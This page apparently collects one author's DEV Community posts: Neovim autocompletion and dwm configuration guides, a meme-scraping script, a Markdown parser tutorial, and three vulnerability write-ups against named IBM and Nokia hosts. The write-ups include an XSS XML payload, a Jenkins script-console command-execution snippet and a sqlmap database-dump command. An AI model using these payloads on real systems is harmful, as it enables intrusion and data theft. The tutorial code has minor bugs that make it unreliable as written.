DEV Community: Khaled Nassar

Autocompletion for Neovim

Khaled Nassar — Mon, 16 May 2022 22:41:41 +0000

One of the coolest features that can make you more productive with NeoVim is autocompletion, so we have some plugins to choose between them based on the performance

YouCompleteMe
Coc.nvim

these plugins are great to use but they are very heavy because of Javascript and Python, so I decided to switch to another solution
and the solution is Lua Plugin called nvim-cmp
with this plugin you can add an auto-completion to your neovim with minimal performance, all you have to do is download the language server

Install

before installing the plugins you need to install Lua first

$ sudo pacman -S lua

and you need a Plugin manager you can choose between

vim-plug ( I use this )
Pathogen
Vundle

after installing the nvim-cmp plugin you have to install some external plugins

" ~/.config/nvim/init.nvim

    Plug 'hrsh7th/cmp-nvim-lsp'
    Plug 'hrsh7th/cmp-buffer'
    Plug 'hrsh7th/cmp-path'
    Plug 'hrsh7th/cmp-cmdline'
    Plug 'hrsh7th/nvim-cmp'
    Plug 'hrsh7th/vim-vsnip'

after installing the server of your language you may need some Lua code to enable it
so you can use this code to copy & paste into your init.nvim file
Also, Don't forget to check this page to get the right server for your language

in my case I'll install rust-analyzer

$ sudo pacman -S rust-analyzer

" ~/.config/nvim/init.nvim
lua <<EOF
  -- Setup nvim-cmp.
  local cmp = require'cmp'

  cmp.setup({
    snippet = {
      -- REQUIRED - you must specify a snippet engine
      expand = function(args)
        vim.fn["vsnip#anonymous"](args.body) -- For `vsnip` users.
        -- require('luasnip').lsp_expand(args.body) -- For `luasnip` users.
        -- require('snippy').expand_snippet(args.body) -- For `snippy` users.
        -- vim.fn["UltiSnips#Anon"](args.body) -- For `ultisnips` users.
      end,
    },
    mapping = {
      ['<C-b>'] = cmp.mapping(cmp.mapping.scroll_docs(-4), { 'i', 'c' }),
      ['<C-f>'] = cmp.mapping(cmp.mapping.scroll_docs(4), { 'i', 'c' }),
      ['<C-Space>'] = cmp.mapping(cmp.mapping.complete(), { 'i', 'c' }),
      ['<C-y>'] = cmp.config.disable, -- Specify `cmp.config.disable` if you want to remove the default `<C-y>` mapping.
      ['<C-e>'] = cmp.mapping({
        i = cmp.mapping.abort(),
        c = cmp.mapping.close(),
      }),
      ['<CR>'] = cmp.mapping.confirm({ select = true }), -- Accept currently selected item. Set `select` to `false` to only confirm explicitly selected items.
    },
    sources = cmp.config.sources({
      { name = 'nvim_lsp' },
      { name = 'vsnip' }, -- For vsnip users.
      -- { name = 'luasnip' }, -- For luasnip users.
      -- { name = 'ultisnips' }, -- For ultisnips users.
      -- { name = 'snippy' }, -- For snippy users.
    }, {
      { name = 'buffer' },
    })
  })

  -- Set configuration for specific filetype.
  cmp.setup.filetype('gitcommit', {
    sources = cmp.config.sources({
      { name = 'cmp_git' }, -- You can specify the `cmp_git` source if you were installed it.
    }, {
      { name = 'buffer' },
    })
  })

  -- Use buffer source for `/` (if you enabled `native_menu`, this won't work anymore).
  cmp.setup.cmdline('/', {
    sources = {
      { name = 'buffer' }
    }
  })

  -- Use cmdline & path source for ':' (if you enabled `native_menu`, this won't work anymore).
  cmp.setup.cmdline(':', {
    sources = cmp.config.sources({
      { name = 'path' }
    }, {
      { name = 'cmdline' }
    })
  })

  -- Setup lspconfig.
  local capabilities = require('cmp_nvim_lsp').update_capabilities(vim.lsp.protocol.make_client_capabilities())

  -- Replace <YOUR_LSP_SERVER> with each lsp server you've enabled.

  require'lspconfig'.rust_analyzer.setup{
      capabilities = capabilities,
  }

EOF

You can scroll in the code suggestion with CTRL+B or CTRL+F

the best way to configure your dwm

Khaled Nassar — Mon, 21 Jun 2021 14:03:25 +0000

hello everyone, dwm is the best window manager you can use it's fast and minimalism and this the best thing i love of suckless philosophy , in this post i'll show you how to configure your dwm, we will configure keybinds & color schema & some tasks can help you for make an awesome WM
for configure your dwm (or any suckless programs) you need to change somethings in config.h

first let's start with keybinds, dwm works with ALT key if you wan't to change it from ALT to SUPER key, change config.h from #define MODKEY Mod1Mask to #define MODKEY Mod4Mask for add/remove keybinds for dwm go to keys list from config.h

static Key keys[] = {
    /* modifier                     key        function        argument */
    { MODKEY,                       XK_d,      spawn,          {.v = dmenucmd } },
    { MODKEY,                   XK_Return, spawn,          {.v = termcmd } },
    ..... etc ....
    ....

dwm default keys for kill programs is SUPER + c , i'll change it to q

keys[] =
... 
..
+ { MODKEY,                     XK_q,      killclient,     {0} },
...

if you wan't to add more keybinds add a varible with your command you wan't to run with your keybind for example i need to run $ pamixer --allow-boost -i 10 for up the audio

static const char *audioup[] = { "pamixer --allow-boost -i 10",NULL };

// EXAMPLE
{ MODKEY,                       XK_{KEY},      spawn,          {.v = {COMMAND} } }
// REAL
{ MODKEY,           XK_p,      spawn,      {.v = audioup}},

// SUPER + p = audioup command

take the idea and make your own keybinds or if you hate to configure your keybind from C code you can use sxhkd with simple config file :)

for change the terminal from ST to your fav terminal go to config.h and search for termcmd[] and change the value from st to terminator for example

for change the font of dwm go to your config.h file and search for fonts[] and change the value to your fav font name & size for example

static const char *fonts[]          = { "monospace:size=13" };

for change your colorschema search for static const char col_gray and change what you wan't with color picker, or you can use Pywal to generate colorschema with your wallpaper
$ wal -i wallpaper.png

and add this line #include "/home/${your username}/.cache/wal/colors-wal-dwm.h" for your config.h and remove this lines from config.h

static const char *colors[][3]      = {
    /*               fg         bg         border   */
    [SchemeNorm] = { col_gray3, col_gray1, col_gray2 },
    [SchemeSel]  = { col_gray4, col_cyan,  col_cyan  },
};

and remove [SchemeUrg] = { urg_fg, urg_bg, urg_border }, from ~/.cache/wal/colors-wal-dwm.h, now your colorschema will generate with your wallpaper.png

if you want to add auto start function for your dwm you can use cool autostart patch , after patch with $ git apply cool-autostart.diff you need to add this line for config.h with your commands

static const char *const autostart[] = {
    "compton", NULL,
    "sxhkd",NULL,
    "wal -R",NULL,
    NULL
};

after that run $ sudo make clean install and enjoy :)

Reflected XSS by jsonp on ibm.com subdomain

Khaled Nassar — Wed, 02 Jun 2021 22:43:57 +0000

hi :D
this my write up about my bug I've found on ibm.com, first I get URLs from web.archive.org on ibm.com by using waybackurls tool and I got this URL https://www-356.ibm.com/partnerworld/wps/servlet/pwdyn/pw/rss/rsstojson.jsp?ccdb=no&rssurl=https://www-2000.ibm.com/file.xml&_=1596170198353
this endpoint include XML file via rssurl parameter and covert the content from XML to jsonp

but in headers, content-type: text/html, this allowed to execute HTML tags in this page , so I've created an XML file with XSS payload and upload it on my website https://knassar702.github.io/xss.xml
and add the link of the file in rssurl parameter

<html>
        <head></head>
        <body>
                <something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1)</something:script>
                <a:script xmlns:a="http://www.w3.org/1999/xhtml">alert(2)</a:script>
                <info>
                  <name>
                    <value><![CDATA[<img src=x onerror=confirm(document.domain)>]]></value>
                  </name>
                    <description>
                      <value>Hello</value>
                    </description>
                    <url>
                      <value>http://google.com</value>
                    </url>
                </info>
        </body>
</html>

Done :D

Remote Code Execution on ibm.com subdomain

Khaled Nassar — Wed, 02 Jun 2021 22:42:11 +0000

i've found Jenkins on acc11-blr-dev-01.sl1694431.sl.edst.ibm.com does not require authentication for access dashboard

what can i do with this .?

everything , add/delete admin accounts,service,configuration,etc ..

but the intersing path is /script , you can write Jenkins script
so you can write script for execute system commands

def command = "YOUR_COMMAND"
def proc = command.execute()
proc.waitFor()
println "Process exit code: ${proc.exitValue()}"
println "Std Err: ${proc.err.text}"
println "Std Out: ${proc.in.text}"

Thanks

SQL inection on gdclive.nokia.com

Khaled Nassar — Wed, 02 Jun 2021 22:39:09 +0000

Hi, this blog about SQL Injection in Nokia.com Allowed me to Dump all database

Full POC :

when I'm visiting this domain gdclive.nokia.com I've found something

First: this domain has been used an old version of Joomla CMS

let's scan it using the joomscan tool for dumping all pieces of information about Joomla (plugins, version, etc..)

All results :

Joomla Version: 3.1
Plugins: JCK Editor (6.4.4)

searching for JCK Editor in exploit-db.com
and I've found this exploit https://www.exploit-db.com/exploits/45423
let's exploit it :D

Worked ..!
you can see the version of the database :D

this is the time of SQLMAP Tool

$ sqlmap -u 'https://gdclive.nokia.com/plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent=' --level=5 --risk=3 --random-agent --technique=U -p parent --batch --current-db --current-user

you can see the current user and the name of the database :)
After dumping all databases using the --all option and unencrypt the password of the admin account let's login in admin panel

PWNED :D

You can see this video about this bug

Thanks ;0

stealing some Memes with python

Khaled Nassar — Wed, 26 May 2021 22:08:27 +0000

Hello :D

I love the memes and I want to keep them in my phone, I think the solution is to browse through the meme and download it manually?

nope let's steal/download some memes automatic with python
what the website we will steal memes from it 🎯 ?

our target is https://imgflip.com/

first let's look at html page

<div class="name">
BLA BLAB 
BLAB LBA
BL BLA

<img src="MEME URL">

all memes links in <div class="base-img-wrap">.......</div>

here we need to parse div tag with base-img-wrap class name and get <img> tag in this div

<div class='base-img-wrap'>
BLA BLA LBA
<img src="MEME LINK">
</div>

Modules we need

requests (for http/s requests)
bs4 (html parsing)

let's start our work with send http request to this site and parsing base-img-wrap class

import requests
from bs4 import BeautifulSoup

req = requests.get('https://imgflip.com/?page=1').content
soup = BeautifulSoup(req, "html.parser")
ancher = soup.find_all('div', {'class': "base-unit clearfix"})

"""
<div class="base-unit clearfix"><h2 class="base-unit-title"><a href="/i/5aq7jq">Why is my sister's name Rose</a></h2><div class="base-img-wrap-wrap"><div class="base-img-wrap" style="width:440px"><a class="base-img-link" href="/i/5aq7jq" style="padding-bottom:105.90909090909%"> ......
"""

We have fetched all the data of <div class='base-img-wrap'>

let's get img tag

import requests
from bs4 import BeautifulSoup

r = requests.get('https://imgflip.com/?page=1').content
soup = BeautifulSoup(req, "html.parser")
ancher = soup.find_all('div', {'class': "base-unit clearfix"})

for pt in ancher:
    img = pt.find('img', {'class': 'base-img'})
    if img:
        print(img)

 <img alt="Why is my sister's name Rose |  people that upvote good memes instead of just scrolling past them | image tagged in why is my sister's name rose | made w/ Imgflip meme maker" class="base-img" src="//i.imgflip.com/5aq7jq.jpg"/>
<img alt="Petition: upvote if you want a rule against upvote begging. I will then post the results in the Imgflip suggestion stream |  Upvote begging will keep happening as long as they make it to the front page; UPVOTE BEGGING TO DESTROY UPVOTE BEGGING | image tagged in memes,the scroll of truth,no no hes got a point,you have become the very thing you swore to destroy,memes | made w/ Imgflip meme maker" class="base-img" src="//i.imgflip.com/5aqvx4.jpg"/>

cool , know we have all img tag know we need get src value

import requests
from bs4 import BeautifulSoup

r = requests.get('https://imgflip.com/?page=1').content
soup = BeautifulSoup(req, "html.parser")
ancher = soup.find_all('div', {'class': "base-unit clearfix"})

for pt in ancher:
    img = pt.find('img', {'class': 'base-img'})
    if img:
        link = img['src'].replace(img['src'][0:2],'https://')
        print(link)

"""
https://i.imgflip.com/5aq7jq.jpg
https://i.imgflip.com/5aqvx4.jpg
https://i.imgflip.com/5aq5jg.jpg
https://i.imgflip.com/5aor2n.jpg
https://i.imgflip.com/5amt83.jpg
https://i.imgflip.com/5ayodd.jpg
https://i.imgflip.com/5awhgz.jpg
https://i.imgflip.com/5allij.jpg
https://i.imgflip.com/5aosh7.jpg
https://i.imgflip.com/5amxbo.jpg
https://i.imgflip.com/5auvpo.jpg
"""

after get all images we will download it with requests module and save it

import requests
from bs4 import BeautifulSoup

req = requests.get('https://imgflip.com/?page=1').content
soup = BeautifulSoup(req, "html.parser")
ancher = soup.find_all('div', {'class': "base-unit clearfix"})

for pt in ancher:
    img = pt.find('img', {'class': 'base-img'})
    if img:
        link = img['src'].replace(img['src'][0:2],'https://')
        r = requests.get(link)
        f = open(img['src'].split('/')[3],'wb') # write binary
        f.write(r.content)
        f.close()

great , we get all the memes of page number 1 let's add parameter for page in url

import requests
from bs4 import BeautifulSoup
def meme_stealer(page):
    req = requests.get(f'https://imgflip.com/?page={page}').content
    soup = BeautifulSoup(req, "html.parser")
    ancher = soup.find_all('div', {'class': "base-unit clearfix"})
    for pt in ancher:
        img = pt.find('img', {'class': 'base-img'})
        if img:
            link = img['src'].replace(img['src'][0:2],'https://')
            r = requests.get(link)
            f = open(img['src'].split('/')[3],'wb')
            f.write(r.content)
            f.close()

for i in range(1,6):
    meme_stealer(i)
# Page 1
# Page 2
# Page 3
# Page 4
# Page 5

Thanks for reading this
Bye :D

Make your own Markdown Converter (with new Features) - Part 1

Khaled Nassar — Tue, 25 May 2021 20:44:59 +0000

Hello ;D
this a simple post about how to make your own Markdown parser, in part 2 we will make a awesome markdown Parser/Features

how Markdown Conveter Works

we well know simple things in this part of our post (Just the basics, preparation for the second part)

1- Heading
2- Include images
3- Links

Heading `#`

you can add Heading with Big font by one # after repeated, the line will be smaller by a count of #

Convert to HTML

First: get the first word in the line (by space) and count the # and add the count of # in <h> tag , for example
### Hello it's will converted to <h3>Hello</h3>

Code


data = '### Hello'

def geth(txt):
    c = txt.split(' ')[0].count('#')
    if c == 0 or c > 6:
        return txt
    else:
        v = f'<h{c}>{"".join(txt.split(" ")[1:])}</h{c}>'
        return v


results = geth(data)
print(results)

Include Images/Links

you can add images by ![ALT TEXT](IMAGE LINK)

Convert to HTML Get The Content of [] and add it to alt variable in <img> tag , same thing with () but add it in src variable, same thins with links but you need to remove ! before []

<a href=LINK>NAME</a>

sadly, to parse this we need Regex :)

Regex it's scary thing for many programmers (like me) because we are too lazy to learn it (or we learn it when stuck with it in our code)

here the regex we will use !\[[^\]]*\](.*?)\s*("(?:.*[^"])")?\s*\)

Code

import re
def getlnk(txt):
    sub = ''
    r = re.search(r'\[[^\]]*\](.*?)\s*("(?:.*[^"])")?\s*\)',txt)
    if r:
        c = r.group()
        # get the content of []
        name = re.findall(r'!\[(.*?)\](|. .)[(].*[)]',c)
        # get the content of ()
        link = re.findall(r'[(].*[)]',c)[0]
        link = link.replace(link[0],'').replace(link[-1],'')
        # add the link and name
        sub += f'<a href="{link}">{name}</a>'
    return sub

# like getlnk function but with ! and <img> Tag
def getimg(txt):
    sub = ''
    r = re.search(r'!\[[^\]]*\](.*?)\s*("(?:.*[^"])")?\s*\)',txt)
    if r:
        c = r.group()
        alt = re.findall(r'!\[(.*?)\](|. .)[(].*[)]',c)
        link = re.findall(r'[(].*[)]',c)[0]
        link = link.replace(link[0],'').replace(link[-1],'')
        sub += f"<img src='{link}' alt='{alt[0][0]}' />"
    return sub



print(getlnk('[Google](http://google.com)'))
print(getimg('![Google Logo](https://upload.wikimedia.org/wikipedia/commons/thumb/2/2f/Google_2015_logo.svg/1280px-Google_2015_logo.svg.png)'))


# Results
# <a href="http://google.com">Google</a>
# <img src="https%3A//upload.wikimedia.org/wikipedia/commons/thumb/2/2f/Google_2015_logo.svg/1280px-Google_2015_logo.svg.png" alt="Google Logo" />